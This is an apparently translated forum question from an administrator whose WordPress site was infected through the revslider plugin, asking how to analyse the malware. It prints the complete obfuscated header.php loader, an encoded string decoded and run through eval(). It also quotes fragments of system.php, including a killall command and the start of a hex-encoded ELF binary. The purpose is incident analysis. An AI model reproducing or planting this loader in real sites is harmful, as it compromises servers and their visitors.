Quindi recentemente il nostro server (VPS CentOS6.5) ha iniziato a ospitare un sito WP che era, o è diventato, infetto (tramite plugin revslider) con una specie di trojan (probabilmente mittente dello spam, dato che siamo arrivati alla lista di Spamhaus molto velocemente)
Il nucleo (pensiamo) è un piccolo file chiamato system.php
link
Che sembra essere attivato da un'intestazione WP infetta header.php
link
È riuscito a creare 4 lavori cron, e siamo molto interessati a ciò che stava facendo. Come posso scoprirlo?
Modifica
ecco header.php
<?php for($o=0,$e='&\'()*+,-.:]^_'{|,,,|-((.(*,|)')&(_(*,+)'(-(,+_(-(.(:(](^(_('({)]+'+{+|,&-^-_(^)](](^(_(^(:('(,-_(.-_(](:(,+_(-+_(--_('(.(.+'+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^('(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-('(:(.(,(.(.+_(-(.+'(,-_(.('(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,('(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+'(',&(:+{(.-^(_-_('-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(')](:,&(.(,+_(-+{+_(-+|(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](.(.(.(](,+_(-(,,&(^('('(^(]-^(,(.(,(.(:-_+_(-(^(_)](.(.(.(](,+_(-(,,&(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](:(^(.-^(,(_(_(](]+|('('(.(.+_(--^(,(.(:+{+_(-+'('+_(-(:('(:-_(,,&(,-_(.+{(,+_(-(:)]('+_(-(.+{(_+_(-(_+'+_(-)]+_(-(_(,(.(:('(')]+_(-,&(:+'+_(--^(.(.('(_(,-^(:('(](]+_(-,&+_(-)](^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](:(_(:(,(,-_('+{(]-^(.('('-_+_(-(,(,(^(^-^+_(-('(,+'(:(_(:+|+_(-({('+{(],&(,(.(,(.(:-_+_(-(^+_(-)](](:(](^(_(:(')](^-_(_(:(^+'(_+'('+_(-(](^(_+_(-(^+{(^+{(^(,+_(-(.(:,&(,(:(:(_(](.(_(:(_,&+_(-(_(]-_+_(-)](^,&(,({(:+'(:+|(,)](:({(]+'(.(:(:(,(]+{(:(.(^(:(^(.(,({(:(:(:('(]+'(:(_+_(-(.(.-_(:(^(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.('(](,(.(.+{(.(^(:(](:(^(^('(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+'(]+|(.(.(:({+_(-)](.(,+_(--^(.(.(.(]+_(--^(_(.+_(--_(^+{(^(,(^({(:,&(,-_(:(^(,(:(.(](:(:(](:(_(.(^-^+_(-(:+_(-({(,,&(.+'+_(-(:(.(,+_(--^(.-_(:+{(]+|(_)]('(_+_(-(]+_(--^(:+|(:+'+_(--^(:+'(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-('+_(-(],&(.(,+_(-(:(:)](.(.(,-^(.({+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+'(,+'(.+_(-(,(_+_(-)](:+{(,-_(.(_(:+'(:(](.(,(]-^+_(-('(,({('(^('(^(.+'(:(^+_(--_(.(](:(^+_(--_(.+|(^)]+_(-+|(:(](:('(.+_(-(,(:(.(,+_(--^(:)]('-^(]+|(:(_(^-^+_(-('(,('(:-^(,(_(,-_(.+{(,-_(.)]('+_(-(](.(_+|(,,&('({(,-_(:('(:-_(,(:(:,&(,-_(_(.('+_(-(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+'(]+|(.(.(:(_+_(-+'(:(_(,(](_,&('-_(](.('-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:-^(,+'(:(_(_)](,(.+_(-)](:,&(:+'(:(^(:+|+_(-+'(.-_(:({(]+|(_)]('(_+_(-(]+_(--^(:+|(:+'+_(--^(:+'(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-('+_(-(],&(.(:+_(-({(.(^(:(^(:(](.+'(](_+_(-('(,(^('(^('(,(](:(_({(_(,(.-^(:(:(,,&(.+|(^({+_(-('(](:('(^(:+_(-(,+{(.(,(:(^(.-_(.-^(,-^(.(_+_(-+_(-(^-^(.+{(:(](.+|(,(](:(,+_(--^(.(:(:)](,(^+_(-+'(^(:(,+'(,(.(.+_(-(.,&+_(-)]('+{(],&(.-_(.-^(,-^(.(_+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+_(-(,+'(:+|(,(_(,-_(.+{(,-_(.)]('+_(-(]('(_,&(^-^+_(-(:+_(-({(,,&(.)](,+{(.(,+_(-)](:-^(:-^+_(-)](:(,(]+'(,-^(,(:(:(:(.+'(:(^(.(,+_(-(:(:)](.(.(,-^(.({(]+'(,-^(,(:(:(:(.+'(:(^(.(,(,(.(.-_(:+'(,('+_(-+'(^(:(,+'(,-^(:+_(-(.(^+_(-(_(:+{(,+{(:)](,)]+_(-+{(.+'(](_+_(-('(,(^(.-^(.(^(,(.(:(.+_(-)]+_(-(^(.(_+_(-)](.+'(^(^(.,&(,(](.(.(:+|(,(](.-_+_(-(_(.(.(:('+_(-({+_(-+'(^(:(,+'(,-^(:+_(-('(,(](:(_({(_(,(.(:(:(,(](:(_(](^(^+_(-(:(,(^(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+'(^(.+_(-+{(,-^('+'('-^(,)](:(.(,(](_+'(:({(,(](:+_(-+_(-(_+_(-('+_(-(:(:('(:+'(^(,('(:(,(](.(^('(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](.(,(]+'(.+{(.(,(,+'(.+|(^+'+_(-(:(,)](:-^(:+|(],&('+'(^+_(-(:('(^+|(](](_+'(^(^+_(-+'(,-^(:+_(-(:(.(]+'(:+'(,+|(_+'(.+_(-(,-^(_(^(^(^+_(-(:(,(^('(.(:+'(,(^(:,&(,+|(.(:(:+_(-(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.('(](,(.(.+{(.(^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^('(](](_(,+'(:(,+_(--^(.+{(^(^(,(_(,(.(:,&(:('(:(^(:(_+_(-(.(.(:(.(^+_(--_(:(_+_(--^(^(^(,(.(:+|(:(,(:(^(:(](,-_(:-^('+_(-(](.(_+|(,,&('({(,-_(:('(:-_(,(:(:,&(,-_(_(.('+_(-(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(,)](,+'(.)](^+'(^(^(]('+_(-(.(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{(_)]+_(-('+_(-(:(:+{(.+'+_(--^(.(,(](.(_,&(:-_(,(^(.+|(_)]+_(-(^(,-^(.(_(,(_(,+{(:-_(,(_(_,&('-_(](.('-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:(^(,+'(.+{(_)]+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(_('-^(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(.+'+_(-('(.,&(^('(,+_(-(:(](:+{(:('(,(:(,+|(,,&(.-_(.(.(:(](.(](^+'+_(--^(](.('+{(_(.(_(,(:+'(,+|(_(.('('(,({(.(](^({(.,&(,({(:,&(:('(,+|(:+'(,,&(_(:(.,&+_(-(:+_(-+'(^(.+_(-+{(,-^('+'('-^(,)](:(.(,(](_+'(:({(,(](:+_(-+_(-(_+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(:(_,&+_(-(_(]-_+_(-)](^,&(,+|(:('(.,&(]+'(:(,(,(^(.(](:(,(,(.(.(.+_(-(_(,(](,+'(:-^(.+|(,-_(^)](,+|(:-_(:({(,({(:+_(-(^-_+_(-,&(,(^('(.(.+_(-(:(^(:+'(,(](.(:(,)](,+|(.(,(](.(^+'(]-_(:+|('(,+_(-+_(-(:+'(,+|(_(.(:-^(,+'(:(_(_)]+_(-+{(,(^(:+{(,(_(,,&(:(_+_(--^(_(:(.,&+_(-)](.(,(](.(,('+_(-)](:+|('+_(-(.+'(:+'(,(](.(:(,)](,+|(.(,(](.(^+'(]-_(:+|('(,(](:(_({+_(-('(.-_(:+'+_(-({(.(,(^-_+_(-(](](:(:+'(:({+_(-)](,+|(,(:(.(](:-_(:(](.(.(^(:(,(_(:(](:(:(:(^(,(_('+'+_(-+_(-(_-^(:-^(^(_(,(^(^-_+_(-+|(,(.(,,&(:-^(,-_(.('(:(^(.+{(:+'(,('(_,&+_(--_(])]+_(-)](:('(.,&+_(--_(.+_(-(,(](_(.('(.(,(:+_(--^+_(-(.+_(-+|(:(_(,)]('-^(,(_(:+|(,)](.+{(:+'(:(](:(:(^('+_(--^+_(--^(:('('-^(:('('+'(^+_(-(:('(.+{(_+_(-(_+'+_(-)](^(.(,({(:+'(:+|(,)](:({(]+'(:)](:('(,,&(.(,+_(-(_+_(--_(,(](:(_(:+|(_(,(:+'(,+|(_(.(.-^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^('+{(],&(:)](:('(,,&(.(,(_)]+_(--_(,(](:(_(:+|(],&('+'(](:(:+_(-(.-^(:(](.+_(-(^-_+_(-('(](:('(^(:+'(,+{(:,&(]+'(.(](:)]+_(--_(_(^(^(:(,+'(,-^(:+_(-(_(:(]+'(.(,(,+{(.+|(:(:(]+{(.({(^)]+_(-(_(,-^('(.(:({(,)](.('(,(:(:+|(:(:(]+|(_+|(,,&(,-_(_+_(-(',&('(_+_(-)](:-^(,+{(:({(.(.(]+{(.(,(]-^+_(-('(,({('(.(:+_(-(,-_(:-_+_(-+'(.-_(.(]+_(-({(]-_(^(,(,('(,(^(:+_(-(.,&(,(:(:+|(,(](_+'(.-^(:(](:(^(^('(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(](.(_-^(:(^(](.(:-^('(_(,(.(,+'(.+_(-(.+'+_(--^(:+{+_(-({(:-_('-^(]-_(.(_+_(--_(])]+_(-(_(^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](.+_(-(.(,+_(-)](.('(,-_(.('('-^(]-_(.(_+_(--_(,)](.+{(.+_(-(.(,+_(-)](.('(,-_(.('('-^(]-_(.(_+_(--_(])]+_(-(_(^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](.+_(-(:+_(-(,-_(:-_(,(_+_(-(^(:(:+_(-(:(.(,(^(^(^+'(]-_(:+_(-('(,+_(-+_(-(:(_(,)](.(.(:)](]+{(,(^(](^+_(-+'(,-^(:-^(:(^(:(^(:(_+_(-(.(.-_(:(^(](:(_+_(-(^(^(^+{(^(,(.-_(^(:(,+|(.(_(,(](.)](.(.(,(.(.+'(^({(^(.+_(-(:(,,&(.)](,(^(.(:(,-_(.(]('-^(]-_(.(_+_(--_(,)](]-_(:,&(_(.(,(:(:(^(](.(_(.('(.(,,&('({('(_(,(.(,(](.(.(:+|(,(]('+{(]-^(.)]('+'(]+|(:('+_(-+_(-(^+{(](.('+{(.(.+_(-,&(:+{(,(:(.(_(:(:(](:(_(]('(_+_(-(](,-^(:,&(:-_(](.('('(,+|(_(:('-_+_(-(,(_+_(-(^)](^+|(^(_+_(-(.(:-_(,,&(:(_+_(--^(:)]('-^(]-_(.(:+_(--_(])]+_(-(_+_(-(.(.)](,)](:-_(,(^(:)](:(:(](:(_+_(-(^(,(^+{(^(,(.-_(:+|(,)](:+{(,(^(_+'('(.(,(]('-^(]+{('({(,,&(.('(:('(,)](.('(,(:(.(^(:({(]+{(:,&(_)](,(.+_(-)](:,&(:+'(:(^(:+|+_(-+'(.-_(:({(](:(_+_(-(^(^(^+{+_(-(,('(_(:(_(^+_(-(:+'(,+|(_(.+_(-(_(,(.(:(_(_)](,(,(,-^(.+_(-(:(_+_(--_(.+_(-(,)](.-_('-^(]-_(:(^(,+{(:(.+_(-+{(.(,(:(_(,)](,+|(,(^(:+'(:(:(,(^(_,&+_(-(.+_(-+_(-(]('(:(:(.+{+_(-({(:(.+_(-(:(_(.(_(_(^(_('+{(^('(,(,+_(-)](:(:(.(,(](.('(]+_(-+'(.(:(.(_(,-^(_(.+_(-+'(^(^+_(-)]('(^('(,(](_(_(.(^('('(](:('+_(-)](:('(^('(,+{(](:('(^(.)](,(:(.(:(,-_(_,&('+'(]+|(:(.+_(-+_(-(^+{(]('(_(,(_(](^(](:(.+_(-({(:({(:('+_(-(.(_,&+_(-+_(-(,(.(,(.(.(.(:+|(],&('-_(],&(:,&('+_(-(](.(_+|+_(-+'(^(_(,,&('+{('(,(](:(.({(.+'(.+|(:(^(,('(.+'(](^+_(-('(](:('(_(:-_(:+_(-(_(:(:('(_(:(_,&+_(-+|(.,&(^-_+_(--^(,-^('+'('({(.+'(:(^(,-_(.(^(:(,(](:(_+_(-(^(,(.)](^+'(,-_('(,(](:(.({(]-^(.(^('({(^(_(,(^(^(,+_(-(^(,-^(.(_(.+'(](.('('(,+|+_(-+_(-(_('(:(_(_+|(,,&(,-_(.+{(:(](:+'(,(_(:+|+_(-)](.-_('-^(]-_(.(:(_,&(](:(:(_('+{(_(.(.+'(.(:+_(-({(.(^(:(^(:(](.(_(^+'+_(-,&+_(-({(:('('+_(-(]-^(.(:(](:('+_(-(.+{(,-^(.(_(^-^+_(-,&(]+{('(_(:(_(^+_(-(.-^(_(,(.+|(.(:(,(^(.(_(](.+_(-+{(,(](:+|(')]+_(-(.(,+|(,-_(:(.(:(:(,({(_,&+_(-(.+_(-+_(-(](.(.)](',&(,(^(_({(.+'(.-_(.-^(,-^(.(_+_(--^(^(_(,({('-^(',&(,(^('+'(^+_(-(.-_(:(^(,(:(.+'+_(-(_(:(.(,(.(:-_(.)](,(_(:+|(,-^(.-_('-^(])]+_(-)](^({(^(,(]('('(_(:(_(](:(_({+_(-('(](,(')](](](.+_(-(^)](^(.+_(-({(:-_(:({+_(-({(.('(]+'(.+|(:(:+_(--_(.(_(^-^('({(,,&(.('(:('(,)](.('(,(:(.(^(:({(]+{(:,&(_)](,+_(-+_(--^(.(.(:+|+_(-({(:(^(,-_(:-^(:(^(,(:(_,&+_(-(.+_(-(:(]('('(_(.)](](_('('+_(-({(_(_('(.(,('(_+|(:+|(,)](_+_(-(^+{(:(,(,+|('+{(]-^(:)](_+{(.+{(.(:(](^+_(-,&(,({(:)](:(_+_(-+'(:(_(,(](_(.('(.(,+'(_)]+_(-(.(,(.(](.('+{(^(:(_(:(.({(_(,(](:(^-_(,(.(.(:+_(--^(^(_(,,&(_-_+_(-)](,+|(:+|+_(-+'(.-_(:({(](:(_+_(-(^+'(^-^(])](.(^(:+{(]({('+'(](:(](,(^-_(_(.(:-^(:+|('+{(_(.(^+{+_(-)](,+|(.(]+_(-({(.(:(.(.(,-^(_,&+_(-(.(,+_(-(]('('(,+_(--^(.-_(,('(]+'(_({('({(]-_(:('+_(-({(^(,(]+{+_(-+'(,,&(:-^(,(:(](^('+{('({(^+{+_(-)](](](.-^(,(^(,-^(.+{(:(_(:,&(]({(_(:(_,&(_+_(-(]+|(:-_('+{+_(-+|(:+'(:(,(,(_(:(_(](.(_+{+_(-(_(,,&(.(,(^)]+_(-(](](:('(_(.+'(](:('+'(_(,(](:(^-_(_(.(:-^(:+|('+{(_(.(^+{(^(,(]-^(:+_(-(^('(,+'(:(,+_(-)](.(,(^('+_(-(_(](:('(_(.+'(](_(_+{(^+{('(:(_(](](.('-^(:+|('+{(_(.(^+{(^(,(.+'(:(^+_(-,&(:({(:-_+_(--_(.(,+_(--^(^(_(,,&('-^(',&(,({('+'(^+_(-(](,(^-_(_(.(]+|(]+{('({(_(.(^+{(^(,(.+'(:(^(,)](.(_(:)]+_(-({(.(,+_(--^(^(_(,,&('+{(_(.(_(,(^+'(_(:(](:(:(:(,({(.,&(^)](^(.(])]+_(-,&+_(-(.(:(_(:,&(]({('+_(-(^+|(_(.(]+|(]+{('({(_(.(^+{+_(-)](,+|(:(,(,(_(.(^(.(^(,-^(_,&+_(-(.(,+_(-(](.(_)](^(:(_(:(.-^(_(,(:('(^+|(](](_+'(^(.+_(-,&(]+{(.+_(-(:(](,+{(.+_(-+_(--^(_+'(:(:+_(-(:(.(,(^(^('({(,,&(.('(:('(,)](.('(,(:(.(^(:({(]+{(:,&(_)](,+_(-(,(_(:(:(.+{+_(--^(,+|(,-_(:(.(:(:(,({(_,&+_(-(.+_(-+_(-(](.(^({(.(.(_(,(^+'(,(:(.+|('-^(]-_(.(_(,+{(]-_(^(_('(,(.-^(,(.(:+'(,)](.(.('(_+_(-({(:(,(](_+_(-('+_(-)](:(](:+|+_(--^(:(,(,(.(_+'(_('(^(^(_(^+_(-)]+_(-(_(,-^(.(]('(_(,(](.(_(,(_(.(_('(_(^)]('+{+_(-(_(^,&(,-_(:('(.-_(](^(:,&+_(--_(.(_(:+'(]+{(_(:+_(-(,(^(.(,-^(:+_(-(:+_(-(,(^('(:(.(^(,+_(-('(](](.(]-_(:-_(,)](_+_(-(^+{(^(,(,-_(:(,(,(.(.(^('(_(])](,+'(',&(.-^(,(^('(,(_(.(_(,(^+'+_(-('(](,(^-_(,-^(.)](](^+_(-('(,(.(:(]('+_(-(.+'(.(,+_(--^(:({(.(^+_(--_(:('+_(--^(^(_(,({('-^('+{+_(-)](.(_+_(-+'(.-_(.(](,,&(.(,(](.+_(-+_(-(,(:('(,('(,(](:(^)](_(:(:+_(-(^+|(_(.(]+|+_(-(.+_(-(:(^(_+_(-(.(:+|+_(-(.(.(:(,(_(.(^(:(.(,-^(_,&+_(-+_(-(^(.(]+|('-^(',&(,)]('+'(^+_(-(](,(^-_(_(.(:,&(_)](,+_(-+_(--^(.(.(:+|+_(-({(:(^(,-_(:-^(:(^(,(:(_,&+_(-(.+_(-(:(:(,(_(:(,(](](_('('(,+{+_(-+_(-(_(](:(_(_)]+_(-(.+_(-(:(:(,(_+_(-(,(](](_('('(,+{+_(-+_(-(_(.(:(_(_+|(,,&('({(_(.(.-_(^(:(_(:(:(_(,(_(:)](:(:(,(.(.(:+_(--^+_(-+'(,+'(.+_(-(,(_+_(-+'(:(.+_(-)](:)](.(.(,(:(:('(](:(^+{+_(-(,(.+'(,(_+_(-+'(:(.+_(-)](:)](.(.(,(:(:('(](:(^+'(]-_(:+_(-('(,(^+_(-(.-^(_(,(](:(:(:(,('(:(_(^(:+_(-+{(,,&('+'(:+_(-(,+{(.(,(:(^(:)](.-_+_(-({(:+_(-(^(:+_(--_(](.(.)](.+_(-(:(^(.(,+_(-(:(:)](.(.(,-^(.({+_(--^(^(_(,({('+{(_(.+_(-('(^)](_(:(.-_(:+'+_(-({(.(,(^-_+_(-(](](:(:+'(:({+_(-)](,+|+_(-)](.(.(:(:(,('(.)](_)]+_(-('+_(-(:(:('(:+'(](:(.({+_(-(.+_(-(^(.(^(,(:(.(,(^+'+_(--^(:(](:('(.+_(-(,-_(:(,(](.(_-^(:(^(](.('-^(]+{('({(_(.(:('(:(^+_(-)](:(_(,(:(.+|('-^(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(](:(:+_(-(.-^(:(](:(^(^)](,(.(,-^(:+|('+_(-(]-^(:(,(](:('+_(-(.+{(_+_(-(]+|(^(:+_(--^+_(-({(:('(:(,(,+|('+{(,(.(.+{(.(^(:(](:(^(](]+_(-,&(,({(,,&(:(_+_(-+'(:(_(,(](_(:(.,&+_(-(:+_(-+'(](_(,(,(,(](:+_(-(,(_(,(^(.(:(,-_(.(]('-^(]-_(.(_+_(--_(])]+_(-(_(^({(^(,(,-_(:-_+_(-)](.-_(:-_(,,&(_,&(^-^+_(-(:+_(-({(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+'(^(:(,+'(,-^(:+_(-('+_(-(]-^(:(,(](:('+_(-(.+{(_+_(-(:({(:+|(^,&(](](:(^(:(_(_(,('('(,(]('('('+_(-(:({(.-_('+|(.(](,(,+_(-('(_-_+_(-({(:({(:({+_(-(:(:+|(]+|('-^(:+|(^(_(,({(_-_(',&(:(^+_(-(,(.(^(,(^+_(-,&(.(.(,(,(_,&(^(_(,(^(,-_(_(.(_(,(:+'(,+|(_(.+_(-(_(,-^(.({(](_(,(_+_(-(.('+'(',&(,)]('+'(](:(:+_(-('(.(,({('({+_(-(.(.,&(:+{+_(-,&(,+'(:-^(,({(]-^(.(](,+{(^(,(:({(:+|+_(-+{(,,&('+'+_(-)](,-_(:-^+_(-+'(:-^(.-_(](:(_+_(-(^(^(^+{(](.(.)](',&(,)](_-^(]-^+_(-(^+_(-+_(-(.-^+_(-+_(-(_,&(^(_(,(^(,-_(_(.+_(-('(^)](,(:(.+|('-^(.+{(.(.(^(:(,(_(:(](:-_(:({(,,&(:+'(,)]+_(-(^(.('+_(--^(.+'(](.+_(-('+_(-({(,,&(:-^+_(-+'(:(,(](.(_(:('-_+_(-(,(_+_(-(^(^(]-_+_(-({(.(_(.+{(,(:(.(:+_(-)](.(_(:('+_(-({(.,&(^(:(,+_(-(](:('(_(:+'(](:(_({+_(-('(](,(.-^(:(](:(_(^+{+_(-(:+_(-)](.(_(,(_(,-_(.+{(,-_(.)]('-^(]-_(.(_+_(--_(])](_+_(-(-(_(*,*)'(-(-)^*&,|-(,*(.(*,++^(*,|+'(:)^(*,|(^(^(:-^,:,,(.(*,|)_)\'),(:-^(*,.+^(*,++^(*,|+'+')'(*,|)^-',+,_-),+-^(*,*({)'*&,),.-((.(.(*,.+^(*,++^(*,|+'+')_)_)*(:(^(.(*,.+^(*,++^(^(^(*,|+'+'(:(:)^-'-',:,,(.(\'*&,:-)-),+-*(.(*+|+)*++(+,*++((:(:-^(*+|*)*|*|*^*:*+)'(,(**.+*+*+&+|*)*|*|*^*:*++|+,*\'+(+))^(*+|+&*|+)+*)'(,(**.+*+*+&+|+&*|+)+*+|+,*\'+(+))^(*+|*-*++*)'(,(**.+*+*+&+|*-*++*+|+,*\'+(+))^-'(*,^)'(*+|*)*|*|*^*:*++^(-,^,+-:(-+')^,:,,(.,+,'-&-*-:(.(*,^(:(:-^(*,^)'(*+|+&*|+)+*+^(-,^,+-:(-+')^-',:,,(.,+,'-&-*-:(.(*,^(:(:-^(*,^)'(*+|*-*++*+^(-,^,+-:(-+')^-',:,,(.(\'*&,,-+,{,)-*,:,|,{+|,+-.,:-)-*-)(.(-,*,+,)-(-:-&-*(-(:(:-^,+-,,\',_(.(-,,-+,{,)-*,:,|,{(&,*,+,)-(-:-&-*(.(*,+(_(*,^(:-^,:,,(.(\'(*,^(:-^-(,+-*-+-(,{)^-'(*,+,_)'*&-)-*-(,_,+,{(.(*,+(:)^(*,^,_)'*&-)-*-(,_,+,{(.(*,^(:)^(*-(,_)'(*,+,_(+(*,^,_)^(*,,,_)'(*,+,_('(*-(,_)^,,,|-((.(*,|)')&)^(*,|)_(*,,,_)^(*,|(^)'(*,^,_(:-^(*-&)'*&-)-+,(-)-*-((.(*,+(_(*,|(_(*,^,_(:)^(*,*({)'(((*,^((+{(((*-&(()^-',:,,(.(*-(,_(:-^(*-&)'*&-)-+,(-)-*-((.(*,+(_(*,,,_(_(*-(,_(:)^(*,^)'*&-)-+,(-)-*-((.(*,^(_)&(_(*-(,_(:)^(*,*({)'(((*,^((+{(((*-&(()^-'-(,+-*-+-(,{(.(*,*(:)^-'(-(:)^-'(*,*)'*&,*,+,)-(-:-&-*(.(*,*(_(*,^(:)^,+-,,\',_(.(*,*(:)^',$d='';@ord($e[$o]);$o++){if($o<16){$h[$e[$o]]=$o;}else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d); ?>
ed ecco una parte dei comandi & codifica utilizzata in system.php
(troppo grande per postare qui per intero, vedi il pastebin)
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x20\x0d\x00\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03
Qualcuno riconosce il tipo di codifica, quindi posso decodificare e indagare ulteriormente da solo?
Modifica 2:
ha calcolato che system.php
utilizza la codifica esadecimale (decodificato link )
TL; DR è un ELF
- c'è un modo per scoprire cosa fa, oltre a eseguirlo su una casella di test?